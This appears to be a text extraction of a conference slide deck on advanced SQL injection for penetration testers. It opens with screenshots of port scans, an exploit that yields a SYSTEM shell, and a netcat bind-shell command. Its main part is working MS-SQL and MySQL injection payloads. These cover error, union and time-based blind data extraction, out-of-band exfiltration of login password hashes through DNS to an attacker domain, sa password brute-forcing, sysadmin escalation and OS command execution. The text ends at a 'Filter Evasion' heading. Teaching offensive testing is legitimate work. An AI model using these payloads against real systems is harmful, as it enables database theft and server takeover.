



Learn Security Online

Advanced SQL Injection

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Joe McCray.... Who the heck are you?

The Last of a Dying Breed

A Network Penetration Tester

You know – the nmap, exploit, upload netcat type of guy.

A.K.A:

The only black guy at security conferences

Penetration Testing Was Easy....

Step 1: Tell customer you are 31337 security professional

Customers only applied patches if it fixed something on the system

It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!!)

Step 2: Scan customer network with ISS or Nessus if you were a renegade

Customers didn't apply patches, and rarely even had firewalls and IDSs back then

You know you only ran ISS because it had nice reports...

Step 3: Break out your uber 31337 warez and Own it all!!!!!!

You only kept an exploit archive to save time (Hack.co.za was all you needed back then)

If you could read the screen you could Own the network!!!!!!

If you were Ub3r 31337 you did it like this....

Port Scan & Banner Grab The Target

```
Terminal
File Sessions Settings Help

[root@wang ~]# nmap -sS -O -p 1-1024 -v 192.168.1.20

Starting nmap V. 2.54BETA/ ( www.insecure.org/nmap/ )
Host Unknown19.effingmanor (192.168.1.20) appears to be up ... good.
Initiating SYN Stealth Scan against Unknown19.effingmanor (192.168.1.20)
Adding TCP port 139 (state open).
Adding TCP port 135 (state open).
The SYN Stealth Scan took 3 seconds to scan 1024 ports.
For OSScan assuming that port 135 is open and port 1 is closed and neither
are firewalled
Interesting ports on Unknown19.effingmanor (192.168.1.20):
(The 1022 ports scanned but not shown below are in state: closed)
Port      State      Service
135/tcp   open       loc-srv
139/tcp   open       netbios-ssn

TCP Sequence Prediction: Class=trivial time dependency
                        Difficulty=3 (Trivial joke)

Sequence numbers: 698D 6996 69A5 69B0 69B7 69BC
Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds
[root@wang ~]#
```

```
Terminal
File Edit View Terminal Help

knoppi@typ2[enumeration]$ telnet 192.168.0.111 21
Trying 192.168.0.111...
Connected to 192.168.0.111.
Escape character is '^'.
220 2kserver Microsoft FTP Service (Version 5.0).
^]
telnet> quit
Connection closed.
knoppi@typ2[enumeration]$ telnet 192.168.0.111 80
Trying 192.168.0.111...
Connected to 192.168.0.111.
Escape character is '^'.

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sun, 01 May 2005 08:14:44 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html></connection closed by foreign host.
knoppi@typ2[enumeration]$
```


Get your exploit code...

Netscape: Welcome to Rootshell | Hosted by connectnet.com

File Edit View Go Communicator Help

Back Forward Reload Home Search Netscape Print Security Stop

Bookmarks Location: <http://www.rootshell.com/beta/view.cgi?199902> What's Related



Connect from pitufina.etsip.upm.es [138.100.17.16 -> 138.100.17.30] (Mozilla/4.5 [en] (X11; U; Linux 2.0.35 i586))logged.

exploits **news** **search** **documentation**

rootshell archive for 199902		
2/8/99	acctigris.txt	ACC's Tigris Access Terminal server security vulnerability
2/8/99	hp5crash.txt	Another way to crash HP 5m printers with firmware dated before 19960829.
2/8/99	icmpquery.c	Send and receive ICMP queries for address mask and current time.
2/8/99	ffcore.txt	ff.core exploit for Solaris 2.5.1 and 2.6.
2/8/99	sendmail892against.txt	Denial of service attack in Sendmail 8.9.2 with exploit.
2/9/99	ftpd.txt	Remote buffer overflows in various FTP servers leads to potential root compromise. (ProFTPD 1.2.0pre1 and Wuarchive

100% of 15K (at 979 bytes/sec)

packet storm | - <http://packetstormsecurity.org/> - Mozilla Firefox

Datei Bearbeiten Ansicht Gehe Lesezeichen Extras Hilfe

<http://www.packetstormsecurity.org/>

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June 29, 2006 - *Vnunet*
Apple Plugs Five Security Holes

June 29, 2006 - *Vnunet*
Controversy Erupts Over US Cyber Security Czar

June 28, 2006 - *ZDNet*
White House Orders Better Security For Sensitive Data

June 28, 2006 - *Coet News*
AT&T Unit Settles Government Fraud Charges

June 28, 2006 - *NewsForge*
Gnash, The Free Flash Player, Makes Progress

Consistently Random

June 29, 2006
Suggested Listening
Artist: *Verve Remixed*
Track: *Return To Paradise (Mark De Clive-Iowe Remix)*

June 29, 2006
Random Quote
If everything seems to be going well, you have obviously overlooked something. - Steven Wright

June 29, 2006
Know The Law

Featured Files

June 27, 2006
aircrack-ng-0.6.tar.gz (133 kB)
aircrack-ng is a set of tools for auditing wireless networks. It's an enhanced/reborn version of aircrack. It consists of airodump (an 802.11 packet capture program), aireplay (an 802.11 packet inject...
[More Info]

June 27, 2006
strongswan-2.7.2.tar.bz2 (2 MB)
strongSwan is a complete IPsec and IKEv1 implementation for Linux 2.4 and 2.6 kernels. It interoperates with most other IPsec-based VPN products. It is a descendant of the discontinued FreeSWAN proje...
[More Info]

June 26, 2006
mimedefang-2.57.tar.gz (316 KB)
MIMEdefang is a flexible MIME email scanner designed to protect Windows clients from viruses. Includes the ability to do many other kinds of mail processing, such as replacing parts of messages with U...
[More Info]

June 20, 2006
yersinia-0.7.tar.gz (322 KB)
Yersinia implements several attacks for the following protocols: Spanning Tree (STP), Cisco Discovery (CDP), Dynamic Host Configuration (DHCP), Hot Standby Router (HSRP), Dynamic Trunking (DTP), 802.1...
[More Info]

Last 10 Files

- SA-20060613-0.txt
- MyBB-1.1.3
- belva-att-unknown.web.vulns.pdf
- Kill3r-SA-20060628.txt
- UsernetScriptV0.5.txt
- WingedGalleryV1.0.txt
- VID-MKP.txt
- MU-200606-02.txt
- cisco-sa-20062806-ap.txt
- cisco-sa-20060628-wcsc.txt

[Last 20] [Last 50] [Last 100]

Last 10 Advisories

- SA-20060613-0.txt
- MyBB-1.1.3
- Kill3r-SA-20060628.txt
- UsernetScriptV0.5.txt
- WingedGalleryV1.0.txt
- MU-200606-02.txt
- cisco-sa-20062806-ap.txt
- cisco-sa-20060628-wcsc.txt
- OpenPKG-SA-2006.011.txt
- secunia-Opera.txt

[Last 20] [Last 50] [Last 100]

Site Updates

Fertig

Own the boxes and take screen-shots

```

TerminalVelocity -- wuftp-god -- 107x40
Chris-Gates-Computer:~/Desktop/redhat6.2exploits/remote_chrisgates$ ./wuftp-god -h
Usage: ./wuftp-god -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
      [-m magic_str] [-r ret_addr] [-p padding] [-p pass_addr] [-M dir]
target  : host with any wuftpd
user    : anonymous user
dir     : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g      : enables magic string digging
-x      : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - R
1 - R
2 - S
3 - S
4 - R
5 - F
6 - F
7 - F
8 - F
Chris-Gates-Computer:~/Desktop/redhat6.2exploits/remote_chrisgates$ ./wuftp-god -t 192.168.0.107 -l ft -s 331 -p 9999 -m "Red Hat Linux release 6.2 (Zoot)" -r "/bin/sh"
[*] Target: 192.168.0.107 Port: 80
[*] Socket initialized...
[*] Checking for presence of fp30reg.dll... Found!
[*] Packet injected!
[*] Sleeping . . . . .
[*] Connecting to host: 192.168.0.107 on port 9999
[*] Dropping to shell...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32\whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>
  
```

```

Command Prompt - execiis.exe 192.168.0.107 "nc.exe+!+-p+9999+-e+cmd.exe"

C:\Documents and Settings\NoOne\Desktop\Win IIS Hacks\IIS Sploit\execiis>execiis.exe 192.168.0.107 "nc.exe+!+-p+9999+-e+cmd.exe"
iisexec.c ! Microsoft IIS CGI Filename Decode Error !
<filip@securax.be>

-----

-- Socket created.
-- Connection made.
  
```


```

(Ethertool) - Ethereal
File Edit View Go Capture Analyze Statistics Help
Filter: (ip.addr eq 192.168.235.128 and ip.addr eq 192.168.235.1) and (tcp.port eq 80)
No.  Time      Source      Destination    Protocol  Info
9    45.453926  192.168.235.1  192.168.235.128  TCP       1795 > telnet [SYN] Seq=0 Ack=0 win=65535 Len=
10   45.463463  192.168.235.128  192.168.235.1  TCP       telnet > 1795 [SYN, ACK] Seq=0 Ack=1 win=32120
11   45.463651  192.168.235.1  192.168.235.128  TCP       1795 > telnet [ACK] Seq=1 Ack=1 win=65535 Len=
18   117.251611  192.168.235.128  192.168.235.1  TELNET    Telnet Data ...
19   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
20   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
21   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
22   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
23   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
24   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
25   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
26   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
27   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
28   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
29   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
30   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...
31   117.253601  192.168.235.1  192.168.235.128  TELNET    Telnet Data ...

Stream Content
.....#.....P.....ANSI.....
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0smp on an i686
...login: ...rreddhhaatt66
Password: test
Last login: Sun May  8 10:39:07 on tty1
[redhat6@localhost redhat6]$ llss
[redhat6@localhost redhat6]$ cddd .....
[redhat6@localhost /home]$ llss
[redhat6@localhost /home]$ cc
[redhat6@localhost /home]$ cc
[redhat6@localhost /home]$ cc
[redhat6@localhost /home]$ cc

bash: c: command not found
  
```

Write The Report...



Get Paid....



Geez...That's A Lot To Bypass

More Security Measures are being implemented on company networks today

Firewalls are common place (perimeter and host-based)

Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows)

Intrusion Detection/Prevention Systems are hard to detect let alone bypass

NAC Solutions are making their way into networks

Network/System Administrators are much more security conscious

IT Hardware/Software vendors are integrating security into their SDLC

What Did It For Me

...I used to think Web App Security was stupid sh*t

“...This stuff isn't hacking”

...but then I saw demo of a tool called sqlninja upload nc.exe to a host vulnerable to sql injection

I was hooked!!!!!!!!!!!!!!!!!!!!!!

Agenda

Getting started

Background

Basic Attack Methods

SQL Injection In The Real World

Ugh...WTF????

Filter & IDS Evasion

Javascript Validation

Serverside Filters

IDS Signatures

WAF Evasion

Assumptions...

I submitted a talk entitled “SQL Injection for Mere Mortals” and it didn't get accepted. Sorry – I am not covering the basics....

I am **NOT** going to teach you the basics of SQL

I am **NOT** going to teach you the basics of SQL Injection

Buy me rum and coke tonight, and I'll teach you anything I know about it later

3 Classes of SQLI

SQL Injection can be broken up into 3 classes

Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page

Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)

Inferential - there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the website/DB Server.

Inband:

Data is extracted using the same channel that is used to inject the SQL code.

This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page

So this is our Error-Based, and Union-Based SQL Injections

[http://\[site\]/page.asp?id=1](http://[site]/page.asp?id=1) or `1=convert(int,(USER))--`

Syntax error converting the nvarchar value '[j0e]' to a column of data type int.

Out-of-band:

Data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester).

This is another way of getting the data out of the server (such as http, or dns).

```
http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' +  
master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from  
sys.sql_logins; exec('xp_fileexist "\\ + @host + 'c$\boot.ini"');
```

Inferential:

If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly.

However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

The latter case is known as "**Blind SQL Injection**".

[http://\[site\]/page.asp?id=1;if+not\(select+system_user\)+<>+'sa'+waitfor+delay+'0:0:10'--](http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'--)

Ask it if it's running as 'sa'

What About Tools????

Automated tools are a great way to identify SQLI.....

Yeah they are.....just be conscious of the different SQL Injection Types....

SQL Vuln Scanners

So let's start with some tools you can use to identify SQLI as well as the type they generally identify.

mieliekoek.pl	(error based)
wpoison	(error based)
sqlmap	(blind by default, and union if you specify)
wapiti	(error based)
w3af	(error, blind)
paros	(error, blind)
sqid	(error)

Joe, I am sick of this sh*t what the heck to you mean by error based, blind and union?

SQL Injection Types

Error-Based SQL Injection

Union-Based SQL Injection

Blind SQL Injection

Error:

Asking the DB a question that will cause an error, and gleaning information from the error.

Union:

The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result. Really useful for SQL Injection :)

Blind:

Asking the DB a true/false question and using whether valid page returned or not, or by using the time it took for your valid page to return as the answer to the question.

My Methodology

How I test for SQL Injection

Identify

* Identify The Injection

(Tool or Manual)

* Determine Injection Type

(Integer or String)

Attack

* Error-Based SQL Injection

(Easiest)

* Union-Based SQL Injection

(Great for data extraction)

* Blind SQL Injection

(Worst case....last resort)

Why Focus On Manual Testing

Now that you understand that there are 3 primary types of SQL Injection....

- Can you understand why being able to test for SQLI manually is important?
- SQL Injection Scanners will generally look for 1 type of injection.....
 - The scanner may tell you the site isn't vulnerable when it really is.

Determine the Injection Type

Is it integer or string based?

Integer Injection:

[http://\[site\]/page.asp?id=1 having 1=1--](http://[site]/page.asp?id=1 having 1=1--)

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

String Injection:

[http://\[site\]/page.asp?id=x' having 1=1--](http://[site]/page.asp?id=x' having 1=1--)

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Determining this is what determines if you need a ' or not.

Let's start with MS-SQL syntax

I would say that MS-SQL Injection is probably the most fun ;)

There is always the possibility of getting access to a stored procedure like xp_cmdshell
.....muahahahahahahahaha

We'll spend a little bit of time on MySQL, and not too much time on Oracle as its injection syntax is fairly similar to MS-SQL. But primarily for the sake of time we'll focus on MS-SQL.

Error-Based SQL Injection Syntax for extracting the USER

[http://\[site\]/page.asp?id=1 or 1=convert\(int,\(USER\)\)--](http://[site]/page.asp?id=1 or 1=convert(int,(USER))--)

Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.

Grab the database user with **USER**

Grab the database name with **DB_NAME**

Grab the servername with **@@servername**

Grab the Windows/OS version with **@@version**

Union-Based SQL Injection Syntax for extracting the USER

[http://\[site\]/page.asp?id=1 UNION SELECT ALL 1--](http://[site]/page.asp?id=1 UNION SELECT ALL 1--)

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

[http://\[site\]/page.asp?id=1 UNION SELECT ALL 1,2--](http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--)

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

[http://\[site\]/page.asp?id=1 UNION SELECT ALL 1,2,3--](http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--)

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

[http://\[site\]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--](http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--)

NO ERROR

[http://\[site\]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--](http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--)

Blind SQL Injection Syntax for extracting the USER

3 - Total Characters

`http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--`

Valid page returns immediately

`http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--`

Valid page returns immediately

`http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--`

Valid page returns after 10 second delay



Dec	Hex	Char	Dec	Hex	Char	Dec	Hex	Char	Dec	Hex	Char
0	00	Null	32	20	Space	64	40	@	96	60	`
1	01	Start of heading	33	21	!	65	41	A	97	61	a
2	02	Start of text	34	22	"	66	42	B	98	62	b
3	03	End of text	35	23	#	67	43	C	99	63	c
4	04	End of transmit	36	24	\$	68	44	D	100	64	d
5	05	Enquiry	37	25	%	69	45	E	101	65	e
6	06	Acknowledge	38	26	&	70	46	F	102	66	f
7	07	Audible bell	39	27	'	71	47	G	103	67	g
8	08	Backspace	40	28	(72	48	H	104	68	h
9	09	Horizontal tab	41	29)	73	49	I	105	69	i
10	0A	Line feed	42	2A	*	74	4A	J	106	6A	j
11	0B	Vertical tab	43	2B	+	75	4B	K	107	6B	k
12	0C	Form feed	44	2C	,	76	4C	L	108	6C	l
13	0D	Carriage return	45	2D	-	77	4D	M	109	6D	m
14	0E	Shift out	46	2E	.	78	4E	N	110	6E	n
15	0F	Shift in	47	2F	/	79	4F	O	111	6F	o
16	10	Data link escape	48	30	0	80	50	P	112	70	p
17	11	Device control 1	49	31	1	81	51	Q	113	71	q
18	12	Device control 2	50	32	2	82	52	R	114	72	r
19	13	Device control 3	51	33	3	83	53	S	115	73	s
20	14	Device control 4	52	34	4	84	54	T	116	74	t
21	15	Neg. acknowledge	53	35	5	85	55	U	117	75	u
22	16	Synchronous idle	54	36	6	86	56	V	118	76	v
23	17	End trans. block	55	37	7	87	57	W	119	77	w
24	18	Cancel	56	38	8	88	58	X	120	78	x
25	19	End of medium	57	39	9	89	59	Y	121	79	y
26	1A	Substitution	58	3A	:	90	5A	Z	122	7A	z
27	1B	Escape	59	3B	;	91	5B	[123	7B	{
28	1C	File separator	60	3C	<	92	5C	\	124	7C	
29	1D	Group separator	61	3D	=	93	5D]	125	7D	}
30	1E	Record separator	62	3E	>	94	5E	^	126	7E	~
31	1F	Unit separator	63	3F	?	95	5F		127	7F	□

Blind SQL Injection Syntax for extracting the USER

D - 1st Character

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'
```

Valid page returns immediately

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
```

Valid page returns immediately

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
```

Valid page returns immediately

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--
```

Valid page returns after 10 second delay

Blind SQL Injection Syntax for extracting the USER

B - 2nd Character

`http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--`

Valid page returns immediately

`http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)`

Valid page returns after 10 second delay

Blind SQL Injection Syntax for extracting the USER

O - 3rd Character

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--
```

Valid page returns immediately

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--
```

Valid page returns immediately

.....and so on

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--
```

Valid page returns after 10 second delay

Database User = DBO

Let's move on to MySQL syntax

With MySQL you really only have:

- * **Union-Based**
- * **Blind**

MySQL

With MySQL you will typically use union or true/false blind SQL Injection so you really need to know a lot about the DB you are attacking such as:

- * number of columns
- * column names
- * path to website

So you will need to enumerate this information first.

The **UNION** operator is used to combine the result-set of two or more **SELECT** statements. Notice that each **SELECT** statement within the **UNION** must have the same number of columns. The columns must also have similar data types. Also, the columns in each **SELECT** statement must be in the same order.

Column number enumeration

`http://[site]/page.php?id=1 order by 10/*` <-- gives Unknown column '10' in 'order clause'

`http://[site]/page.php?id=1 order by 5/*` <-- gives a valid page

`http://[site]/page.php?id=1 order by 6/*` <-- gives Unknown column '6' in 'order clause'

So now we know there are 5 columns.

By the way you can do this with MSSQL as well.

Building the union

`http://[site]/page.php?id=1 union all select 1,2,3,4,5/*` <-- gives a valid page

Change the first part of the query to a null or negative value so we can see what field will echo data back to us.

`http://[site]/page.php?id=-1 union all select 1,2,3,4,5/*` <-- gives a valid page but with the number 2, and 3 on it

or

`http://[site]/page.php?id=null union all select 1,2,3,4,5/*` <-- gives a valid page but with the number 2, and 3 on it


Now we know that column numbers 2 and 3 will echo data back to us.

Building the union

[http://\[site\]/page.php?id=null union all select 1,2,3,4,5,6,7/*](http://[site]/page.php?id=null union all select 1,2,3,4,5,6,7/*)



[http://\[site\]/page.php?id=null union all select 1,2,user\(\),4,5,@@version,7/*](http://[site]/page.php?id=null union all select 1,2,user(),4,5,@@version,7/*)



Information Gathering

`http://[site]/page.php?id=null union all select 1,user(),3,4,5/*`

`http://[site]/page.php?id=null union all select 1,2,database(),4,5/*`

`http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/*`

Grab the database user with **user()**

Grab the database name with **database()**

Grab the database version with **@@version**

Grab the database data directory with **@@datadir**

Basic SQLI Attack Methods

True-False Blind SQL Injection

`http://www.site.com/page.php?id=66 AND 1=1--`

Valid Page

`http://www.site.com/page.php?id=66 AND 1=2--`

Error Page

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 51`

3

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 53`

5

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 52`

4

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 43`

+

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 45`

-

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 46`

.

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 51`

3

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 49`

1

`http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 48`

0

MID() Extract characters from a text field

Basic SQLI Attack Methods

Time-Based Blind SQL Injection

[http://\[site\]/page.asp?id=1;waitfor+delay+'0:0:5';--](http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';--)

See if it takes 5 seconds to return the page. If it does, then you can ask it questions.

[http://\[site\]/page.asp?id=1;if+not\(substring\(\(select+@@version\),%,1\)+<>+5\)+waitfor+delay+'0:0:5';--](http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor+delay+'0:0:5';--)

Ask it if he is running SQL Server 2000

[http://\[site\]/page.asp?id=1;if+not\(select+system_user\)+<>+'sa'+waitfor+delay+'0:0:5'--](http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'--)

Ask it if it's running as 'sa'

[http://\[site\]/page.asp?id=1;if+is_srvrolemember\('sysadmin'\)+>+0+waitfor+delay+'0:0:5';--](http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';--)

Ask it if the current user a member of the sysadmin group

SQL Injection In the Real World

In the real world exploiting SQL Injection can be difficult. More and more complex dynamic queries are being passed to backend DBs. Also, more and more people know not to run a database as 'sa', and they know to remove the xp_ stored procedures.

It's time to up your game.

- * Ugh...wtf
- * Privilege Escalation
- * Re-Enabling stored procedures
- * Obtaining an interactive command-shell

SQL Injection In the Real World

You know I always trip out on the fact that lil john is a millionaire and only has a vocabulary of "**YEAAAHHHHH**", and "**WUUUUHAAAATTTT**".

Here I am hacking into companies and I'm not even close. What am I doing wrong? Maybe I should trade in the shirt, tie, slacks, laptop for a mouth full of gold teeth, dreadlocks, baggy pants, 40 oz, and a phat blunt!!!!

meh..nah...I love hacking too much...**YEAAAAAAHHHHH**



UGGGGHHH.....WTF??? (1)

<http://www.http://www.liljon.com/liljon.asp?lil='>

Gives the error:

Microsoft OLE DB Provider for SQL Server error '80040e14'

[http://www.liljon.com/liljon.asp?lil=71%20or%201=convert\(int,\(USER\)\)--](http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))--)

Gives the error:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near ')'.

Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query.

[http://www.liljon.com/liljon.asp?lil=71%20or%201=convert\(int,\(USER\)\)\)--](http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))--)

Gives the error:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'liljon' to data type int.

Now we know every injection from here on out will require the additional right paren....

@@servername()), @@version()), db_name()), etc....

UGGGGHHH....WTF??? (2)

<http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201-->

<http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2-->

Received error: The text, ntext, or image data type cannot be selected as DISTINCT.

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\)--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5,6--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5,6,7--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5,6,7,8--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8--)

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5,6,7,8,9--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9--)

Received error: Operand type clash: text is incompatible with int

[http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert\(text,'HELLO'\),4,5,6,7,8,null--](http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null--)

Tips:

1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer

Privilege Escalation

Step 1: Brute-Force the 'sa' password

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';sa';JOE','waitfor delay "0:0:50";select 1;');&a=1
```

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';sa';joe','waitfor delay "0:0:50";select 1;');&a=1
```

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';sa';j0e','waitfor delay "0:0:50";select 1;');&a=1
```

Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing.

Privilege Escalation

Step 2: Add current user to admin group

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';sa';j0e','exec master..sp_addsrvrolemember "sa","sysadmin";select 1');&a=1
```

Key point to remember is that we used time-based blind sqli to enumerate the sa account password length. This is a great aid in bruteforcing.

Privilege Escalation

Step 3: Recreate the xp_cmdshell stored procedure

MSSQL Server 2000

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB',';sa';'j0e','select 1;exec master..sp_dropextendedproc "xp_cmdshell";')&a=1
```

```
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB',';sa';'j0e','select 1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE @OLEResult=sp_OACreate "WScript.Shell",@ShellID OUT IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR("CreateObject %0X",14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,"Run",Null,"ping -n 8 127.0.0.1",0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR ("Run %0X",14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1
```

Remember to correctly identify the backend version as this step because MS SQL 2000 handle this differently than MS SQL 2005

Privilege Escalation

Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?)

```
select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;

DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int

EXECUTE @OLEResult=sp_OACreate "WScript.Shell",@ShellID OUT IF @OLEResult<>0

SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR("CreateObject%0X",14,1,@OLEResult)

EXECUTE @OLEResult=sp_OAMethod @ShellID,"Run",Null,"ping -n 8 127.0.0.1",0,1IF @OLEResult<>0

SELECT @result=@OLEResult IF @OLEResult<>0

RAISERROR ("Run %0X",14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1
```

Filter Evasion

